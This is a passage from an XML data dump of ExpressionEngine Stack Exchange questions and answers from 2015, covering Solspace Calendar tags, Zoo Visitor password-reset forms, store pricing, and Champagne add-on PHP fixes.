LastActivityDate="2015-09-16T20:02:29.240" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34049" PostTypeId="1" CreationDate="2015-09-16T20:04:51.020" Score="0" ViewCount="89" Body="&lt;p&gt;I am using the following code to display an archived list of months from my calendar with clickable links. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;ul&amp;gt;&#xA;    {exp:calendar:month_list date_range_start=&quot;{today}&quot;}&#xA;        &amp;lt;li&amp;gt;&#xA;            &amp;lt;a href=&quot;{path='events/archives'}/{month format=&quot;%Y/%m&quot;}&quot;/&amp;gt;&#xA;                {month format=&quot;%F, %Y&quot;}&#xA;            &amp;lt;/a&amp;gt;&#xA;        &amp;lt;/li&amp;gt;   &#xA;    {/exp:calendar:month_list}&#xA;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I only want to display months that have events in them. Does anyone know how this can be done? &lt;/p&gt;&#xA;" OwnerUserId="6667" LastEditorUserId="3579" LastEditDate="2015-09-17T20:00:19.160" LastActivityDate="2015-09-17T20:00:19.160" Title="Calendar:Month_List to display only months that contain events" Tags="|solspace|solspace-calendar|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34050" PostTypeId="1" CreationDate="2015-09-16T21:19:46.870" Score="1" ViewCount="144" Body="&lt;p&gt;I am using Calendar in an attempt to display an Event as a single entry. I have previous events and upcoming events. I need to display the &quot;Current Event&quot;. In other words, if the event spans the dates 9-15-2015, 9-16-2015, and 9-17-2015 I need to display it if today is 9-16-2015. If there is NOT an event spanning the current date, I need to show the NEXT event in the calendar. I am using a single calendar for this site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want the user to be able to enter a 'range' or add rules as seperate days and times. For that reason, I have this in my date/time display:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if event_has_rules}&#xA;    {rules}&#xA;&#xA;    {/rules}&#xA;{/if}&#xA;{if event_recurs}&#xA;    {occurrences}&#xA;        &amp;lt;span style=&quot;color:#7e7f81;&quot;&amp;gt;{occurrence_start_date format=&quot;%l %m-%d-%Y&quot;} &amp;amp;mdash; {occurrence_start_date format=&quot;%g:%i%a&quot;} - {occurrence_end_date format=&quot;%g:%i%a&quot;}&amp;lt;/span&amp;gt;&amp;lt;/br&amp;gt;&#xA;    {/occurrences}&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I haven't quite figured the rules syntax without blowing up my template yet though...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My primary issue is with displaying the &quot;current&quot; event.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have this right now:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:calendar:events&#xA;    calendar_id=&quot;20&quot;&#xA;    event_limit=&quot;1&quot;&#xA;    date_range_start=&quot;{current_time format='%Y-%m-%d @ %h:%i %A'}&quot;&#xA;    show_days=&quot;-14&quot;&#xA;    dynamic=&quot;no&quot;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I tried the -14 in an attempt to catch anything starting 14 days before the current day.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also tried without the date_range_start in there at all. &lt;/p&gt;&#xA;" OwnerUserId="3139" LastActivityDate="2016-06-19T14:02:56.897" Title="Display a single Calendar Event that spans the current date" Tags="|solspace|solspace-calendar|calendar-events|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34051" PostTypeId="1" AcceptedAnswerId="34059" CreationDate="2015-09-16T21:29:43.180" Score="0" ViewCount="480" Body="&lt;p&gt;My login suddenly stopped working, despite me using the same credentials and not having changed them. So, I have tried to reset my password by going thru the &quot;forgotten password&quot; process. I get this from EE:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;If this email address is associated with an account, instructions for&#xA;  resetting your password have just been emailed to you.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I receive no emails. I tried password resetting another account; also no emails. Checked spam, too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The site was recently copied over from one hosting to another. Is there anything in the EE database that stores hosting specific mail configuration when initially installed? Perhaps that might be causing the problem?&lt;/p&gt;&#xA;" OwnerUserId="324" LastActivityDate="2015-09-17T15:16:45.550" Title="Password Reset Not Sending Emails" Tags="|email|forgot-password|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34052" PostTypeId="2" ParentId="34049" CreationDate="2015-09-17T04:15:10.757" Score="2" Body="&lt;p&gt;The &lt;strong&gt;&lt;a href=&quot;https://solspace.com/docs/calendar/cal/&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;{exp:calendar:cal}&lt;/code&gt;&lt;/a&gt;&lt;/strong&gt; tag can do a lot in Calendar: it's the first go-to tag to consider. I would use it since it provides a &lt;code&gt;{month_event_total}&lt;/code&gt; variable you could use here. For example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:calendar:cal date_range_start=&quot;2015-01-01&quot; date_range_end=&quot;2015-12-31&quot;}&#xA;    {display_each_month}&#xA;        {if month_event_total &amp;gt; 0}&#xA;            // Your month header&#xA;        {/if}&#xA;    {/display_each_month}&#xA;{/exp:calendar:cal}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That should just display months that have events in them.&lt;/p&gt;&#xA;" OwnerUserId="884" LastActivityDate="2015-09-17T04:15:10.757" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34053" PostTypeId="1" CreationDate="2015-09-17T08:42:01.470" Score="0" ViewCount="110" Body="&lt;p&gt;I'm trying to prevent that the first entry has a certain class in this case the class 'wide'. I call the class from a channel-field called {format}.&#xA;But i want the use the param orderby=&quot;random&quot; in the entries tag.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now sometimes the first entry with the class 'wide' is still shown, how can i prevent this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This my code so far..&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;work&quot; orderby=&quot;random&quot;  status=&quot;open|featured&quot;}&#xA;&#xA;{if count == 1 AND '{format}' != 'wide'}&#xA;&amp;lt;div class=&quot;item {format} photography&quot;&amp;gt;&#xA;  &amp;lt;div class=&quot;item-content&quot; style=&quot;background-image:url({beelden limit=&quot;1&quot;}{url}{/beelden})&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;                            &amp;lt;div class=&quot;item-overlay&quot;&amp;gt;&#xA;                                &amp;lt;span class=&quot;item-title&quot;&amp;gt;{templates}&amp;lt;/span&amp;gt;                    &#xA;                                &amp;lt;span class=&quot;item-title&quot;&amp;gt;{title}&amp;lt;/span&amp;gt;&#xA;&#xA;                            &amp;lt;/div&amp;gt;&#xA;                        &amp;lt;/div&amp;gt;&#xA;{if:else}&#xA;&amp;lt;div class=&quot;item {format} photography&quot;&amp;gt;&#xA;&amp;lt;div class=&quot;item-content&quot; style=&quot;background-image:url({beelden limit=&quot;1&quot;}{url}{/beelden})&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;                            &amp;lt;div class=&quot;item-overlay&quot;&amp;gt;&#xA;                                &amp;lt;span class=&quot;item-title&quot;&amp;gt;{templates}&amp;lt;/span&amp;gt;                    &#xA;                                &amp;lt;span class=&quot;item-title&quot;&amp;gt;{title}&amp;lt;/span&amp;gt;&#xA;&#xA;                            &amp;lt;/div&amp;gt;&#xA;                       &amp;lt;/div&amp;gt;&#xA;{/if}&#xA;&#xA;  {/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3191" LastActivityDate="2016-05-23T16:41:51.630" Title="Prevent first entry to be shown conditional" Tags="|conditionals|orderby|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="34054" PostTypeId="1" AcceptedAnswerId="34074" CreationDate="2015-09-17T10:51:00.957" Score="2" ViewCount="81" Body="&lt;p&gt;I've seen this question asked before but it is from some time ago so I wondered if there is any change.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Original question at &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/678/trade-prices-in-expresso-store&quot;&gt;Trade prices in exp:resso Store&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need to be able to specify alternate pricing based on member group on a per-product basis. The difference between Standard and Trade prices is not universal so each product needs to have 2 price points rather than a blanket discount.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm fairly certain that this still isn't &quot;baked in&quot; to Store but does anyone have suggestions about the best way to approach it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm considering using the modifiers but that seems a rather clunky way to do it and I can't see how to apply mods via member group (although I'm new to Store and working my way through the docs).&lt;/p&gt;&#xA;" OwnerUserId="159" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.330" LastActivityDate="2015-11-19T10:30:39.170" Title="Trade pricing in Exp:resso Store" Tags="|expresso-store|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34055" PostTypeId="2" ParentId="34053" CreationDate="2015-09-17T11:09:58.947" Score="0" Body="&lt;p&gt;Use two channel entries tags with one in an embed.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{!-- Main template; First entry --}&#xA;{exp:channel:entries channel=&quot;work&quot; orderby=&quot;random&quot; limit=&quot;1&quot; search:format=&quot;=not wide&quot; status=&quot;open|featured&quot;}&#xA;&#xA;  &amp;lt;div class=&quot;item {format} photography&quot;&amp;gt;&#xA;    &amp;lt;div class=&quot;item-content&quot; style=&quot;background-image:url({beelden limit=&quot;1&quot;}{url}{/beelden})&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;    &amp;lt;div class=&quot;item-overlay&quot;&amp;gt;&#xA;      &amp;lt;span class=&quot;item-title&quot;&amp;gt;{templates}&amp;lt;/span&amp;gt;                    &#xA;      &amp;lt;span class=&quot;item-title&quot;&amp;gt;{title}&amp;lt;/span&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;  &amp;lt;/div&amp;gt;&#xA;  {embed=&quot;TEMPLATEGROUP/TEMPLATE&quot; first_entry_id=&quot;{entry_id}&quot;}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{!-- Embedded template: TEMPLATEGROUP/TEMPLATE --}&#xA;{exp:channel:entries channel=&quot;work&quot; orderby=&quot;random&quot; entry_id=&quot;not {embed:first_entry_id}&quot; status=&quot;open|featured&quot;}&#xA;  &amp;lt;div class=&quot;item {format} photography&quot;&amp;gt;&#xA;    &amp;lt;div class=&quot;item-content&quot; style=&quot;background-image:url({beelden limit=&quot;1&quot;}{url}{/beelden})&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;    &amp;lt;div class=&quot;item-overlay&quot;&amp;gt;&#xA;      &amp;lt;span class=&quot;item-title&quot;&amp;gt;{templates}&amp;lt;/span&amp;gt;                    &#xA;      &amp;lt;span class=&quot;item-title&quot;&amp;gt;{title}&amp;lt;/span&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;  &amp;lt;/div&amp;gt;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="69" LastActivityDate="2015-09-17T11:09:58.947" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34056" PostTypeId="2" ParentId="34045" CreationDate="2015-09-17T12:08:06.450" Score="1" Body="&lt;p&gt;I would suggest making sure all your paths are correct in the server move, especially as listed here: &lt;code&gt;themes/third_party/cartthrob/lib/extload.php&lt;/code&gt;. That's usually the issue in this kind of situation. &lt;/p&gt;&#xA;" OwnerUserId="376" LastActivityDate="2015-09-17T12:08:06.450" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34057" PostTypeId="2" ParentId="34053" CreationDate="2015-09-17T14:00:24.533" Score="0" Body="&lt;p&gt;Maybe a bit wasteful but you could just hide the first entry with the &quot;wide&quot; class using CSS. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Note: if you're using pagination or using other conditionals related to the count or total number of entries then this won't be helpful.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First, get all your entries as normal but add a special class &lt;em&gt;(.first-entry)&lt;/em&gt; to the first entry that is output....&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;work&quot; orderby=&quot;random&quot; status=&quot;open|featured&quot;}&#xA;    &amp;lt;div class=&quot;item {format} {if count==1}first-entry{/if} photography&quot;&amp;gt;&#xA;        &amp;lt;div class=&quot;item-content&quot; style=&quot;background-image:url({beelden limit=&quot;1&quot;}{url}{/beelden})&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;        &amp;lt;div class=&quot;item-overlay&quot;&amp;gt;&#xA;            &amp;lt;span class=&quot;item-title&quot;&amp;gt;{templates}&amp;lt;/span&amp;gt;                    &#xA;            &amp;lt;span class=&quot;item-title&quot;&amp;gt;{title}&amp;lt;/span&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then apply a bit of css to find anything with the first-entry AND the .wide class. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.first-entry.wide{&#xA;    display:none;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If the first entry doesn't have the wide class then nothing will change. If it does have the wide class then it will be hidden.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's the simplest, if not the most efficient, way of doing it.&lt;/p&gt;&#xA;" OwnerUserId="159" LastActivityDate="2015-09-17T14:00:24.533" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34058" PostTypeId="2" ParentId="34054" CreationDate="2015-09-17T15:00:52.060" Score="0" Body="&lt;p&gt;I think the best way to approach this is currently to slightly rethink your IA.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could have a channel called 'Product' that held the product information, galleries, specifications and reviews.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could then also have a second channel called 'Product Cost' which would include the Expresso Store field type. You could have a relationship from the 'Product Cost' back to the 'Product' and you could also have a field to select which member group this cost is for.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then on the frontend when loading the product page you can chose the right 'Product Cost' to show based on the member group.&lt;/p&gt;&#xA;" OwnerUserId="96" LastActivityDate="2015-09-17T15:00:52.060" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="34059" PostTypeId="2" ParentId="34051" CreationDate="2015-09-17T15:16:45.550" Score="1" Body="&lt;p&gt;If you were logged in on the site at the old host when the database backup was taken it could be that the new site thinks you're still logged in. If you then have the security preference to allow only one login at a time for each account this could  stop you logging in.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The fix for this would be to look in the exp_sessions table and remove any rows in there for your member ID.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You may also want to switch the login method from sessions to cookies (or vice versa) and see if that helps. You can do this via your config file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The reset email may not arrive for a number of reasons. It could be a misconfiguration, improper credentials, or simply a spam filtering issue. I'd crack the login problem first then look at the email problem second. Examine the server logs and maybe use a transactional service such as Mandrill so you can see what's happening to the emails.&lt;/p&gt;&#xA;" OwnerUserId="159" LastActivityDate="2015-09-17T15:16:45.550" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="34060" PostTypeId="1" CreationDate="2015-09-17T15:21:56.517" Score="0" ViewCount="118" Body="&lt;p&gt;I'm trying to create a forgot-password form on my site where Zoo Visitor is used to manage members, however, when adding the standard form code from the examples provided I cannot access the form url, I'm getting a 302 redirect back to my login page (I've no redirects set in my htaccess)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;linking to {site_url}members/forgot-password&lt;/p&gt;&#xA;&#xA;&lt;p&gt;members/forgot-password template code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:zoo_visitor:forgot_password error_handling=&quot;inline&quot; reset_url=&quot;/members/reset_password&quot; parse=&quot;inward&quot;}&#xA;    {if password_sent}&#xA;        &amp;lt;h3&amp;gt;&#xA;            A password reset mail has been sent to the provided email.&#xA;        &amp;lt;/h3&amp;gt;&#xA;    {if:else}&#xA;        &amp;lt;fieldset&amp;gt;&#xA;            &amp;lt;p&amp;gt;&#xA;                &amp;lt;label for=&quot;email&quot; class=&quot;form-label&quot;&amp;gt;&#xA;                    Your email:&#xA;                &amp;lt;/label&amp;gt;&#xA;                &amp;lt;input type=&quot;text&quot; name=&quot;email&quot; id=&quot;email&quot; class=&quot;form-text&quot; value=&quot;&quot; /&amp;gt;&#xA;            &amp;lt;/p&amp;gt;&#xA;            {error:email}&#xA;        &amp;lt;/fieldset&amp;gt;&#xA;        &amp;lt;p&amp;gt;&#xA;            &amp;lt;input type=&quot;submit&quot; value=&quot;Retrieve password&quot; class=&quot;button&quot; /&amp;gt;&#xA;        &amp;lt;/p&amp;gt;&#xA;    {/if}&#xA;{/exp:zoo_visitor:forgot_password}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3369" LastEditorUserId="3579" LastEditDate="2015-09-17T20:47:21.047" LastActivityDate="2016-05-27T09:56:10.517" Title="Zoo Visitor forgot password form redirecting" Tags="|zoo-visitor|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34061" PostTypeId="2" ParentId="34060" CreationDate="2015-09-17T15:51:14.133" Score="0" Body="&lt;p&gt;I just took a peak at one of my production sites, and I have a password reset like that, but the &lt;code&gt;reset_url&lt;/code&gt; parameter points to a different page... the actual password reset request (where an email gets sent) and the page it links to (the page where they can actually reset their password) need to be different pages (probably not &lt;strong&gt;need&lt;/strong&gt; to, be easier to manage that way).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is an example:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Password reset request page&lt;/strong&gt; /account/password&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:zoo_visitor:forgot_password error_handling=&quot;inline&quot; reset_url=&quot;account/reset_password&quot; parse=&quot;inward&quot; class=&quot;forms&quot;}&#xA;    {if password_sent}&#xA;        A password reset email has been sent to the provided email.&#xA;    {if:else}&#xA;        Password Reset&#xA;        &amp;lt;br&amp;gt;&#xA;        Enter your Email address to receive an email with instructions on how to reset your password.&#xA;        &amp;lt;label&amp;gt;&#xA;            &amp;lt;input type=&quot;text&quot; name=&quot;email&quot; id=&quot;email&quot; placeholder=&quot;Email&quot; maxlength=&quot;64&quot; &amp;gt;&#xA;        &amp;lt;/label&amp;gt;&#xA;        &amp;lt;label class=&quot;error&quot;&amp;gt;&#xA;            {error:email}&#xA;        &amp;lt;/label&amp;gt;&#xA;        &amp;lt;label&amp;gt;&#xA;            &amp;lt;input type=&quot;submit&quot; value=&quot;Get Password Reset Email&quot; class=&quot;btn width-100&quot; /&amp;gt;&#xA;        &amp;lt;/label&amp;gt;&#xA;        Please make sure to check your &quot;Spam&quot; folder if you don't receive the password reset email.&#xA;    {/if}&#xA;{/exp:zoo_visitor:forgot_password}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Password reset page&lt;/strong&gt; /account/reset_password&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:zoo_visitor:reset_password error_handling=&quot;inline&quot; class=&quot;forms&quot;}&#xA;    {if password_reset}&#xA;        Your password has been reset. You can now login with your new password.&#xA;        &amp;lt;a href=&quot;{site_url}/login&quot;&amp;gt;&#xA;            Login&#xA;        &amp;lt;/a&amp;gt;&#xA;    {if:else}&#xA;        Password reset&#xA;        &amp;lt;label&amp;gt;&#xA;            &amp;lt;input type=&quot;password&quot; name=&quot;password&quot; placeholder=&quot;New Password&quot; id=&quot;new_password&quot; class=&quot;width-100&quot; required/&amp;gt;&#xA;        &amp;lt;/label&amp;gt;&#xA;        &amp;lt;label&amp;gt;&#xA;            &amp;lt;input type=&quot;password&quot; name=&quot;password_confirm&quot; placeholder=&quot;New Password Again&quot; id=&quot;new_password_confirm&quot; class=&quot;width-100&quot; required/&amp;gt;&#xA;        &amp;lt;/label&amp;gt;&#xA;        &amp;lt;label class=&quot;error&quot;&amp;gt;&#xA;            {error:password}&#xA;        &amp;lt;/label&amp;gt;&#xA;        &amp;lt;label&amp;gt;&#xA;            &amp;lt;input type=&quot;submit&quot; value=&quot;Reset your password&quot; class=&quot;btn width-100&quot; /&amp;gt;&#xA;        &amp;lt;/label&amp;gt;&#xA;    {/if}&#xA;{/exp:zoo_visitor:reset_password}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Also, I'm not sure about your setup, but is your native EE member url set to &lt;code&gt;/members&lt;/code&gt;? That could be messing with Zoo Visitor. I don't remember enough about the plugin to say for sure.&lt;/p&gt;&#xA;" OwnerUserId="3579" LastActivityDate="2015-09-17T15:51:14.133" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="34062" PostTypeId="1" AcceptedAnswerId="34063" CreationDate="2015-09-17T20:10:20.887" Score="0" ViewCount="66" Body="&lt;p&gt;So the cartthrob team (aka mighty big robot) have been bought by Vector Media Group read: &lt;a href=&quot;https://www.vectormediagroup.com/blog/view/vector-acquired-cartthrob-ct-admin/&quot; rel=&quot;nofollow&quot;&gt;https://www.vectormediagroup.com/blog/view/vector-acquired-cartthrob-ct-admin/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can only assume this is why so many of their ee addons have gone untouched for a while as they were getting out of the game.  Hopefully the vector team can bring some life back to some of these great addons.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I updated from 2.7 to 2.10 (big jump).  Champagne gave me some errors here are the fixes I came up with:&lt;/p&gt;&#xA;" OwnerUserId="1809" LastEditorUserId="1809" LastEditDate="2015-09-17T20:45:32.497" LastActivityDate="2016-03-24T06:51:15.563" Title="Champagne 2 and ee 2.10" Tags="|php-errors|champagne|ee2.9.3|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34063" PostTypeId="2" ParentId="34062" CreationDate="2015-09-17T20:10:20.887" Score="0" Body="&lt;p&gt;When loading an entry I would get this error:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Fatal error: Call to undefined method EE_Fieldtype::EE_Fieldtype() in&#xA;  ... expressionengine/third_party/champagne/ft.champagne.php on line 47&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;To fix that go to line 47 and change it from:&#xA;parent::EE_Fieldtype();&lt;/p&gt;&#xA;&#xA;&lt;p&gt;to&lt;/p&gt;&#xA;&#xA;&lt;p&gt;parent::__construct();&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then when I tried to load the module from the modules menu I got this error:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Fatal error: Call to undefined method Cp::set_variable() ...&#xA;  expressionengine/third_party/champagne/mcp.champagne.php on line 64&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;To fix this I simply commented out line 64.  I don't get the error because line 64 looks valid to me it's not using Cp::set_variable anymore as that was depreciated in EE2.6...anywho, removing the page title fixed the issue for me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps anyone having issues like me.&lt;/p&gt;&#xA;" OwnerUserId="1809" LastActivityDate="2015-09-17T20:10:20.887" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34064" PostTypeId="2" ParentId="34050" CreationDate="2015-09-17T20:46:46.093" Score="1" Body="&lt;p&gt;With a little guidance from Solspace support, I changed to use the cal tag instead of the event tag in order to get in the date range I needed. The docs indicate being able to use the &lt;code&gt;{event}&lt;/code&gt; tag pair inside, which you are, however the loop was not gathering the data as expected without providing an embed template and passing that embed template the &lt;code&gt;{event_id}&lt;/code&gt;. I will attach what I ended up with below in full in hopes it may be useful to someone else.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Main template section for the event data:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:calendar:cal&#xA;    calendar_id=&quot;20&quot;&#xA;    date_range_start=&quot;today&quot;&#xA;    date_range_end=&quot;today&quot;&#xA;    pad_short_weeks=&quot;n&quot;&#xA;}&#xA;    {display_each_day}&#xA;        {if day_event_total &amp;gt; 0}&#xA;            {events}&#xA;                &amp;lt;!-- Blog Post --&amp;gt;&#xA;                &amp;lt;div class=&quot;row&quot;&amp;gt;&#xA;                    &amp;lt;div class=&quot;span12 module_cont module_blog module_none_padding module_blog_page&quot;&amp;gt;&#xA;                        &amp;lt;div class=&quot;blog_post_page blog_post_preview has_pf&quot;&amp;gt;&#xA;                            &amp;lt;div class=&quot;preview_top&quot;&amp;gt;&#xA;                                &amp;lt;div class=&quot;preview_title&quot;&amp;gt;&#xA;                                    &amp;lt;h1 class=&quot;blogpost_title&quot;&amp;gt;{event_title}&amp;lt;/h1&amp;gt;&#xA;                                    &amp;lt;div class=&quot;row&quot;&amp;gt;&#xA;&#xA;                                        &amp;lt;div class=&quot;span4 module_number_9 module_cont pb50 module_iconboxes&quot;&amp;gt;&#xA;                                            &amp;lt;div class=&quot;listing_meta shortcode_iconbox&quot;&amp;gt;&#xA;                                                &amp;lt;a href=&quot;javascript:void(0)&quot;&amp;gt;&#xA;                                                    &amp;lt;div class=&quot;iconbox_wrapper&quot;&amp;gt;&#xA;                                                        &amp;lt;span class=&quot;ico&quot;&amp;gt;&amp;lt;i class=&quot;icon-calendar&quot;&amp;gt;&amp;lt;/i&amp;gt;&amp;lt;/span&amp;gt;&#xA;                                                        &amp;lt;a&amp;gt;&amp;lt;h6 class=&quot;iconbox_title&quot;&amp;gt;When&amp;lt;/h6&amp;gt;&amp;lt;/a&amp;gt;&#xA;                                                        &amp;lt;div class=&quot;iconbox_body&quot;&amp;gt;&#xA;                                                            {embed=&quot;_includes/_event&quot; event_id=&quot;{event_id}&quot;}&#xA;                                                        &amp;lt;/div&amp;gt;&#xA;                                                    &amp;lt;/div&amp;gt;&#xA;                                                &amp;lt;/a&amp;gt;&#xA;                                            &amp;lt;/div&amp;gt;&#xA;                                        &amp;lt;/div&amp;gt;&amp;lt;!-- .module_cont --&amp;gt;&#xA;&#xA;                                        &amp;lt;div class=&quot;span4 module_number_9 module_cont pb50 module_iconboxes&quot;&amp;gt;&#xA;                                            &amp;lt;div class=&quot;listing_meta shortcode_iconbox&quot;&amp;gt;&#xA;                                                &amp;lt;a href=&quot;javascript:void(0)&quot;&amp;gt;&#xA;                                                    &amp;lt;div class=&quot;iconbox_wrapper&quot;&amp;gt;&#xA;                                                        &amp;lt;span class=&quot;ico&quot;&amp;gt;&amp;lt;i class=&quot;icon-home&quot;&amp;gt;&amp;lt;/i&amp;gt;&amp;lt;/span&amp;gt;&#xA;                                                        &amp;lt;h6 class=&quot;iconbox_title&quot;&amp;gt;Where&amp;lt;/h6&amp;gt;&#xA;                                                        &amp;lt;div class=&quot;iconbox_body&quot;&amp;gt;&#xA;                                                            {address style=&quot;schema&quot;}&#xA;                                                        &amp;lt;/div&amp;gt;&#xA;                                                    &amp;lt;/div&amp;gt;&#xA;                                                &amp;lt;/a&amp;gt;&#xA;                                            &amp;lt;/div&amp;gt;&#xA;                                        &amp;lt;/div&amp;gt;&amp;lt;!-- .module_cont --&amp;gt;&#xA;&#xA;                                        &amp;lt;div class=&quot;span4 module_number_9 module_cont pb50 module_iconboxes&quot;&amp;gt;&#xA;                                            &amp;lt;img src=&quot;{address:static_map width='400' height='400' zoom='15'}&quot; alt=&quot;{address style='inline'}&quot; /&amp;gt;&#xA;                                        &amp;lt;/div&amp;gt;&#xA;&#xA;                                    &amp;lt;/div&amp;gt;&#xA;                                &amp;lt;/div&amp;gt;&amp;lt;!-- .preview_title --&amp;gt;&#xA;                            &amp;lt;/div&amp;gt;&#xA;&#xA;                            &amp;lt;div class=&quot;blog_post_content&quot;&amp;gt;&#xA;                                &amp;lt;article class=&quot;contentarea&quot;&amp;gt;{event_summary}&amp;lt;/article&amp;gt;&#xA;                                &amp;lt;p&amp;gt;&amp;amp;nbsp;&amp;lt;/p&amp;gt;&#xA;                            &amp;lt;/div&amp;gt;&#xA;&#xA;&#xA;                            &amp;lt;div class=&quot;row&quot;&amp;gt;&#xA;                                &amp;lt;div class=&quot;span12 module_number_5 module_cont pb50 module_text_area&quot;&amp;gt;&#xA;                                    &amp;lt;div class=&quot;bg_title&quot;&amp;gt;&amp;lt;h5 class=&quot;headInModule&quot;&amp;gt;Terms and Conditions&amp;lt;/h5&amp;gt;&amp;lt;/div&amp;gt;&#xA;                                    &amp;lt;div class=&quot;module_content&quot;&amp;gt;&#xA;                                        &amp;lt;blockquote class=&quot;shortcode_blockquote left type1&quot;&amp;gt;&#xA;                                            &amp;lt;div class=&quot;blockquote_wrapper&quot;&amp;gt;&#xA;                                                {terms_and_conditions}&#xA;                                            &amp;lt;/div&amp;gt;&#xA;                                        